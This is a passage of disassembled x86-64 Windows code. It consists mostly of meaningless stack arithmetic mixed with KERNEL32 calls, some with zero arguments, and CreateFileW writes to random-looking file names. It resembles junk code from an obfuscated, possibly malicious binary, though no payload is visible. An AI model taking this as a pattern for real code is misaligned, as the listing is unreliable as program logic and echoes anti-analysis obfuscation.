mov rax, qword [rsp + 0xca98]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x39f]
and eax, ecx
mov byte [rsp + 0x3a6], al
lea rax, [0x14022a000]
mov qword [rsp + 0xd028], rax
mov rax, qword [rsp + 0xa2a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xad18]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xca20], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
lea rax, [rsp + 0x1e3c]
mov qword [rsp + 0xd030], rax
lea rax, [rsp + 0xb10]
mov qword [0x14022c000], rax
mov rax, qword [rsp + 0xa6d0]
mov rcx, qword [rsp + 0x8330]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9448], rax
lea rdx, [rsp + 0x4ce8]
mov rcx, qword [rsp + 0xb118]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4d04], eax
mov rax, qword [rsp + 0xbde0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb24]
or eax, ecx
mov word [rsp + 0x1350], ax
mov rax, qword [rsp + 0x9f00]
movzx eax, word [rax]
mov word [rsp + 0x2118], ax
mov rax, qword [rsp + 0xa3f0]
mov rcx, qword [rsp + 0xaea0]
mov qword [rsp + 0xd038], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd038]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8f08], rax
mov rax, qword [rsp + 0xc080]
mov rcx, qword [rsp + 0xbc28]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4084], eax
mov rax, qword [rsp + 0xb8e8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x14022a018]
shr rax, cl
mov qword [rsp + 0x9b58], rax
movzx eax, byte [rsp + 0x3ab]
mov byte [rsp + 0x3f6], al
movzx eax, word [rsp + 0x13c8]
mov rcx, qword [rsp + 0xaa30]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1eac], ax
lea rcx, [rsp + 0x9dc8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [0x140229fe0]
mov qword [0x14022c008], rax
mov rax, qword [rsp + 0xbad0]
mov ecx, dword [rsp + 0x4968]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4830], eax
mov rax, qword [rsp + 0xb660]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3df]
add eax, ecx
mov byte [rsp + 0x254], al
movsx eax, word [rsp + 0x1ff0]
movsx ecx, word [rsp + 0xae8]
and eax, ecx
mov rcx, qword [rsp + 0x9b80]
mov word [rcx], ax
mov rax, qword [rsp + 0x99f8]
movzx eax, word [rax]
mov word [rsp + 0x211c], ax
movsx eax, byte [rsp + 0x121]
movsx ecx, byte [rsp + 0x13f]
sar eax, cl
mov byte [rsp + 0x351], al
mov rax, qword [rsp + 0xb0e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x458c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbe30]
mov dword [rcx], eax
lea rax, [rsp + 0xc098]
mov qword [rsp + 0xd040], rax
movsx eax, word [rsp + 0x1e0c]
movsx ecx, word [rsp + 0x1ef0]
add eax, ecx
mov word [rsp + 0x1b98], ax
mov rax, qword [rsp + 0xba50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1e40]
shl eax, cl
mov word [0x14022bae8], ax
lea rax, [rsp + 0xc260]
mov qword [rsp + 0xd048], rax
mov rax, qword [rsp + 0x9b60]
mov rcx, qword [0x14022bd00]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x7898], rax
mov rax, qword [rsp + 0xb500]
mov rcx, qword [rsp + 0x8d50]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9420], rax
lea rax, [rsp + 0xad0]
mov qword [rsp + 0xd050], rax
mov rax, qword [rsp + 0xbeb8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb408]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9f18]
mov byte [rcx], al
mov rax, qword [rsp + 0x9550]
mov qword [rsp + 0xd058], rax
mov rax, qword [rsp + 0xb0e8]
mov ecx, dword [rsp + 0x4100]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x3bc0], eax
mov eax, dword [rsp + 0x4580]
mov ecx, dword [rsp + 0x402c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3a7c], eax
movzx eax, byte [rsp + 0xaf]
mov rcx, qword [rsp + 0xaf08]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2bb], al
mov rax, qword [rsp + 0xb940]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc2c0]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x14022bb20], ax
mov rax, qword [rsp + 0xcef0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1e74]
and eax, ecx
mov rcx, qword [rsp + 0x9888]
mov word [rcx], ax
movzx eax, word [rsp + 0x211c]
mov word [rsp + 0x2120], ax
mov rax, qword [rsp + 0xad50]
mov rcx, qword [0x14022ba50]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb070]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x3b5]
mov rcx, qword [rsp + 0xab28]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x328], al
mov eax, dword [rsp + 0x4a54]
imul eax, dword [rsp + 0x4300]
mov rcx, qword [rsp + 0xadb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbfd0]
mov rax, qword [rax]
mov rcx, qword [0x14022a018]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc980], rax
lea rax, [rsp + 0x1efc]
mov qword [rsp + 0xd060], rax
mov rax, qword [rsp + 0xcce0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a28]
and eax, ecx
mov word [rsp + 0x1a94], ax
mov rax, qword [rsp + 0xbb78]
mov rcx, qword [rsp + 0xc220]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [0x14022a190], rax
lea rdx, [rsp + 0x4644]
mov rcx, qword [rsp + 0x9c38]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4d08], eax
lea rcx, [rsp + 0xccd0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0x1e7c]
mov qword [rsp + 0xd068], rax
mov rax, qword [rsp + 0x9df0]
mov rcx, qword [rsp + 0xc458]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x9f68]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcb88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xafe8]
mov qword [rsp + 0xd070], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd070]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xa710]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
movzx eax, byte [rsp + 0x358]
mov byte [rsp + 0x3f7], al
mov rax, qword [rsp + 0xcdd0]
mov rcx, qword [rsp + 0xa3c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3a84], eax
lea rax, [rsp + 0x4ab0]
mov qword [rsp + 0xd078], rax
mov rax, qword [rsp + 0xb540]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x302]
sar eax, cl
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0xbf48]
mov rcx, qword [rsp + 0xb5b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xbc50]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb278]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x96a8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14022b9f8], ax
movzx eax, word [rsp + 0x14ec]
mov word [rsp + 0x2124], ax
movzx eax, word [rsp + 0x968]
mov rcx, qword [rsp + 0xc678]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2020], ax
mov rax, qword [rsp + 0xc7d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe70]
add eax, ecx
mov word [rsp + 0x9ec], ax
mov rax, qword [rsp + 0xb698]
mov rcx, qword [rsp + 0xa250]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xc910]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9fa8]
movzx eax, byte [rax]
mov byte [rsp + 0x3f8], al
mov rax, qword [rsp + 0xb850]
mov rcx, qword [rsp + 0x8210]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa668], rax
movsx eax, word [rsp + 0x2028]
mov rcx, qword [rsp + 0xc2b0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x10d4], ax
lea rax, [rsp + 0x1cbc]
mov qword [rsp + 0xd080], rax
mov rax, qword [rsp + 0x7400]
mov qword [0x14022c010], rax
mov rax, qword [rsp + 0x86c8]
mov rcx, qword [rsp + 0x8e58]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb098]
mov qword [rcx], rax
lea rax, [0x14022a128]
mov qword [rsp + 0xd088], rax
lea rdx, [rsp + 0x4720]
mov rcx, qword [rsp + 0xa2c0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4d0c], eax
mov rax, qword [rsp + 0xa298]
mov rcx, qword [rsp + 0xc9c0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa660], rax
mov r9d, 0x10d3
xor r8d, r8d
lea rdx, [rsp + 0xacf8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4b4c], eax
movzx eax, word [rsp + 0xf70]
movzx ecx, word [rsp + 0x1ee8]
and eax, ecx
mov rcx, qword [rsp + 0xc740]
mov word [rcx], ax
mov rax, qword [rsp + 0xb420]
mov rcx, qword [rsp + 0xbf68]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4448], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0xbb20
mov rcx, qword [rsp + 0xa790]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4d10], eax
mov rax, qword [rsp + 0x98f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a0]
shl eax, cl
mov byte [rsp + 0x275], al
mov rax, qword [rsp + 0x9750]
movzx eax, byte [rax]
mov byte [rsp + 0x3f9], al
mov eax, dword [rsp + 0x3ff4]
mov ecx, dword [rsp + 0x3fd4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3da8], eax
mov rax, qword [rsp + 0xaa58]
mov rcx, qword [rsp + 0xb4a8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [0x14022beb0]
mov qword [rcx], rax
mov rax, qword [0x14022b9c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb4a0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xa2c], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
mov rax, qword [rsp + 0xc860]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2078]
add eax, ecx
mov word [rsp + 0xec4], ax
mov rax, qword [rsp + 0xc028]
movzx eax, word [rax]
movzx ecx, word [0x14022a088]
and eax, ecx
mov rcx, qword [rsp + 0xa0c0]
mov word [rcx], ax
lea rax, [rsp + 0xc800]
mov qword [rsp + 0xd090], rax
mov eax, dword [rsp + 0x4948]
mov ecx, dword [rsp + 0x4bc4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a58], eax
lea rax, [rsp + 0x7950]
mov qword [rsp + 0xd098], rax
mov rax, qword [rsp + 0x9ff8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa988]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc6c8]
mov byte [rcx], al
movsx eax, word [rsp + 0x810]
movsx ecx, word [rsp + 0x1cdc]
and eax, ecx
mov word [rsp + 0x1d98], ax
mov rax, qword [rsp + 0x9720]
movzx eax, word [rax]
mov word [0x14022c018], ax
mov rax, qword [0x14022bdc0]
mov qword [rsp + 0xd0a0], rax
movzx eax, word [rsp + 0x1f98]
mov rcx, qword [rsp + 0x9e08]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xcc18]
mov word [rcx], ax
movzx eax, byte [rsp + 0x3a0]
mov byte [rsp + 0x3fa], al
mov rax, qword [rsp + 0x9b68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f4c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ea8], eax
mov rax, qword [rsp + 0xc660]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa028]
mov qword [rsp + 0xd0a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd0a8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4160], eax
movsx eax, byte [rsp + 0x3b5]
mov rcx, qword [0x14022ba80]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x229], al
mov rax, qword [rsp + 0xb5b8]
mov rcx, qword [rsp + 0xbbd0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9a00], rax
mov rax, qword [rsp + 0xafc0]
movzx eax, word [rax]
mov word [rsp + 0x2128], ax
mov rax, qword [rsp + 0xccb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbde0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14022a198], ax
mov rax, qword [rsp + 0x8360]
movzx ecx, al
mov rax, qword [rsp + 0xcfb0]
sar rax, cl
mov qword [rsp + 0xa9e8], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xab2d
mov rcx, qword [rsp + 0xbe10]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4908], eax
mov rax, qword [rsp + 0x80b0]
mov rcx, qword [rsp + 0x7668]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc990]
mov qword [rcx], rax
movsx eax, word [rsp + 0xecc]
mov rcx, qword [rsp + 0xbd78]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xac4], ax
movzx eax, word [rsp + 0xb30]
movzx ecx, word [rsp + 0x20a8]
and eax, ecx
mov word [rsp + 0x2060], ax
lea rax, [rsp + 0x4860]
mov qword [rsp + 0xd0b0], rax
mov rax, qword [rsp + 0xcbb8]
mov rcx, qword [rsp + 0x7b28]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xaf88]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x1b8]
mov rcx, qword [rsp + 0xb408]
movsx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x3b6], al
lea rax, [rsp + 0x7f68]
mov qword [rsp + 0xd0b8], rax
mov rax, qword [rsp + 0xcb60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x205c]
sub eax, ecx
mov word [0x14022bf30], ax
lea rdx, [rsp + 0x49b0]
mov rcx, qword [rsp + 0xc018]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4d14], eax
mov rax, qword [rsp + 0xbba8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa2e0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xbba8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9f08]
movzx eax, byte [rax]
mov byte [rsp + 0x3fb], al
mov rcx, qword [rsp + 0xb8c0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [rsp + 0x4a40]
mov ecx, dword [rsp + 0x45c8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbc60]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb0f8]
mov rax, qword [rax]
mov qword [rsp + 0xd0c0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], reloc.SHELL32.dll_ILFindLastID
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.a2NJTjsMWDLeEXIVwafZ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xd0c8], rax
mov rax, qword [rsp + 0xa150]
mov rcx, qword [rsp + 0x9bc0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xbad8], rax
mov rax, qword [rsp + 0xacb8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3da8]
shl eax, cl
mov rcx, qword [rsp + 0xc0e0]
mov dword [rcx], eax
lea rax, [rsp + 0x2c4]
mov qword [rsp + 0xd0d0], rax
mov rax, qword [0x14022b9e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1dc4]
sub eax, ecx
mov rcx, qword [rsp + 0xa1a8]
mov word [rcx], ax
lea rax, [rsp + 0x107c]
mov qword [0x14022c020], rax
lea rax, [rsp + 0xa040]
mov qword [rsp + 0xd0d8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
mov rax, qword [rsp + 0xc828]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b08]
add eax, ecx
mov word [rsp + 0x179c], ax
mov rax, qword [rsp + 0x9d20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc0d8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa2d8]
mov word [rcx], ax
mov rax, qword [rsp + 0xc620]
mov rcx, qword [rsp + 0xaab0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7f18], rax
mov rax, qword [rsp + 0xc160]
mov eax, dword [rax]
mov rcx, qword [0x14022b890]
mov qword [rsp + 0xd0e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd0e0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xce40]
mov dword [rcx], eax
lea rax, [rsp + 0x279]
mov qword [rsp + 0xd0e8], rax
mov rax, qword [rsp + 0xca70]
mov rcx, qword [rsp + 0x7770]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb4f8], rax
mov rax, qword [0x14022b9a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9e98]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1e08], ax
mov r9d, 0x10cd
xor r8d, r8d
lea rdx, [rsp + 0xad60]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4ac4], eax
mov rax, qword [rsp + 0x9eb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc708]
and rcx, rax
mov rax, rcx
mov qword [0x14022a058], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xaa63
mov rcx, qword [rsp + 0xa930]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4d18], eax
mov eax, dword [rsp + 0x4748]
mov dword [rsp + 0x4d1c], eax
lea rdx, [rsp + 0x4a08]
mov rcx, qword [rsp + 0x9648]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4bb4], eax
movzx eax, byte [0x140229f1d]
movzx ecx, byte [rsp + 0x3be]
and eax, ecx
mov byte [rsp + 0x345], al
lea rax, [rsp + 0x18dc]
mov qword [rsp + 0xd0f0], rax
mov rax, qword [rsp + 0xa8d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1cac]
sub eax, ecx
mov word [rsp + 0x1468], ax
mov rax, qword [rsp + 0xc210]
mov rcx, qword [rsp + 0xb6a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x8c58], rax
lea rax, [rsp + 0x37f]
mov qword [rsp + 0xd0f8], rax
mov rax, qword [rsp + 0xd0b0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4c30]
shl eax, cl
mov dword [rsp + 0x4bd0], eax
mov r9d, 0x3ad
xor r8d, r8d
lea rdx, [rsp + 0xce20]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4d20], eax
lea rax, [rsp + 0x1f00]
mov qword [rsp + 0xd100], rax
movzx eax, word [rsp + 0xd30]
mov word [0x14022c028], ax
mov rax, qword [rsp + 0xbfb0]
mov rcx, qword [rsp + 0x7788]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbbd8]
mov qword [rcx], rax
lea rcx, [rsp + 0xa680]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rdx, [rsp + 0x4738]
mov rcx, qword [rsp + 0xca28]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4b78], eax
lea rcx, [rsp + 0xd108]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xc038]
mov rcx, qword [0x14022bca0]
mov qword [rsp + 0xd110], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd110]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x86f0], rax
mov rax, qword [rsp + 0xa180]
mov rcx, qword [rsp + 0x9eb0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6f98], rax
movsx eax, word [rsp + 0x1d5c]
mov rcx, qword [0x14022b940]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1d6c], ax
mov rax, qword [rsp + 0xc098]
mov qword [rsp + 0xd118], rax
mov rax, qword [rsp + 0xadb8]
mov ecx, dword [rsp + 0x4298]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc390]
mov dword [rcx], eax
movzx eax, byte [0x140229f1e]
mov byte [rsp + 0x3fc], al
mov eax, dword [rsp + 0x4c3c]
movzx ecx, al
mov eax, dword [rsp + 0x3dcc]
sar eax, cl
mov rcx, qword [rsp + 0xa258]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcdf8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b]
and eax, ecx
mov byte [rsp + 0x3b3], al
mov rax, qword [0x14022ba58]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc34]
and eax, ecx
mov rcx, qword [0x14022bb40]
mov word [rcx], ax
lea rax, [rsp + 0xed4]
mov qword [rsp + 0xd120], rax
mov rax, qword [rsp + 0xc7a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9888]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2040], ax
mov rax, qword [rsp + 0xc088]
mov rcx, qword [rsp + 0xbaf8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7a40], rax
mov rax, qword [rsp + 0xa288]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xce]
and eax, ecx
mov rcx, qword [rsp + 0xd0f8]
mov byte [rcx], al
mov rax, qword [rsp + 0xb230]
mov rcx, qword [rsp + 0xc7b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xa378], rax
lea rax, [rsp + 0x3acc]
mov qword [rsp + 0xd128], rax
mov rax, qword [rsp + 0xb6e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e78]
or eax, ecx
mov word [rsp + 0x1f04], ax
mov rax, qword [rsp + 0xb9a8]
movzx eax, word [rax]
mov word [rsp + 0x212c], ax
mov rax, qword [rsp + 0xa9a8]
mov rcx, qword [rsp + 0xbd98]
mov qword [rsp + 0xd130], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd130]
mov rax, qword [rax]
shl rax, cl
mov qword [0x14022a1a0], rax
movzx eax, word [rsp + 0x1e80]
movzx ecx, word [rsp + 0xb1c]
sar eax, cl
mov word [rsp + 0x1f40], ax
mov rax, qword [0x14022b880]
mov rcx, qword [rsp + 0xcf88]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x72e8], rax
mov rax, qword [rsp + 0xaa20]
mov rcx, qword [rsp + 0xd0b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9df0]
mov qword [rcx], rax
mov eax, dword [0x14022a10c]
mov ecx, dword [rsp + 0x47e4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4614], eax
mov rax, qword [rsp + 0xb048]
mov rax, qword [rax]
mov qword [rsp + 0xd138], rax
mov eax, dword [rsp + 0x4a94]
mov ecx, dword [rsp + 0x44e0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb010]
mov dword [rcx], eax
mov r9d, 0x248c
xor r8d, r8d
lea rdx, [rsp + 0xb158]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4ba8], eax
mov rax, qword [rsp + 0xac50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3fa]
sar eax, cl
mov byte [rsp + 0x239], al
movsx eax, byte [rsp + 0x34d]
movsx ecx, byte [rsp + 0x164]
sub eax, ecx
mov rcx, qword [rsp + 0x98b8]
mov byte [rcx], al
movsx eax, word [rsp + 0x1da4]
mov rcx, qword [rsp + 0xc4e0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x14022b9e8]
mov word [rcx], ax
movsx eax, word [rsp + 0x1268]
mov rcx, qword [rsp + 0xa950]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1e98], ax
mov rax, qword [rsp + 0xb548]
movzx eax, word [rax]
mov word [rsp + 0x2130], ax
mov rax, qword [rsp + 0xd020]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbeb0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1e94], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, dword [rsp + 0x49e0]
mov dword [rsp + 0x4d24], eax
mov rax, qword [rsp + 0xa4a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9fa8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x286], al
mov rax, qword [0x14022a048]
movzx ecx, al
mov rax, qword [rsp + 0xbdd8]
shr rax, cl
mov qword [rsp + 0x8128], rax
lea rax, [rsp + 0x16b4]
mov qword [rsp + 0xd140], rax
movzx eax, word [rsp + 0xbe0]
mov rcx, qword [rsp + 0x9b48]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xade0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9cd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcaa0]
add rcx, rax
mov rax, rcx
mov qword [0x14022bc10], rax
mov rax, qword [rsp + 0xc9f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb178]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8348], rax
mov rax, qword [rsp + 0xc4d0]
mov rcx, qword [rsp + 0xad30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbf28], rax
mov rax, qword [rsp + 0x97d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7f10]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xbcd0], rax
lea rdx, [rsp + 0x4cd4]
mov rcx, qword [rsp + 0xcd38]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4d28], eax
lea rax, [rsp + 0xb1c]
mov qword [rsp + 0xd148], rax
movzx eax, byte [rsp + 0x8f]
mov rcx, qword [rsp + 0xc078]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xc7], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0x5acd
mov rcx, qword [rsp + 0x9fd0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4c24], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.B1dxMjG4A3mDL_sn35wx16SYJfYZ3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xd150], rax
mov rax, qword [rsp + 0xcc58]
mov eax, dword [rax]
mov dword [rsp + 0x4d2c], eax
lea rcx, [rsp + 0xc710]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xb088]
mov rcx, qword [rsp + 0xd0b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xcca0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa9b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x27f]
add eax, ecx
mov byte [rsp + 0x8e], al
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
mov rax, qword [rsp + 0xa5f8]
mov qword [0x14022c030], rax
lea rdx, [rsp + 0x4d30]
mov rcx, qword [rsp + 0x9648]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4984], eax
mov rax, qword [rsp + 0xa628]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1fd0]
and eax, ecx
mov word [rsp + 0x206c], ax
mov rax, qword [rsp + 0xd060]
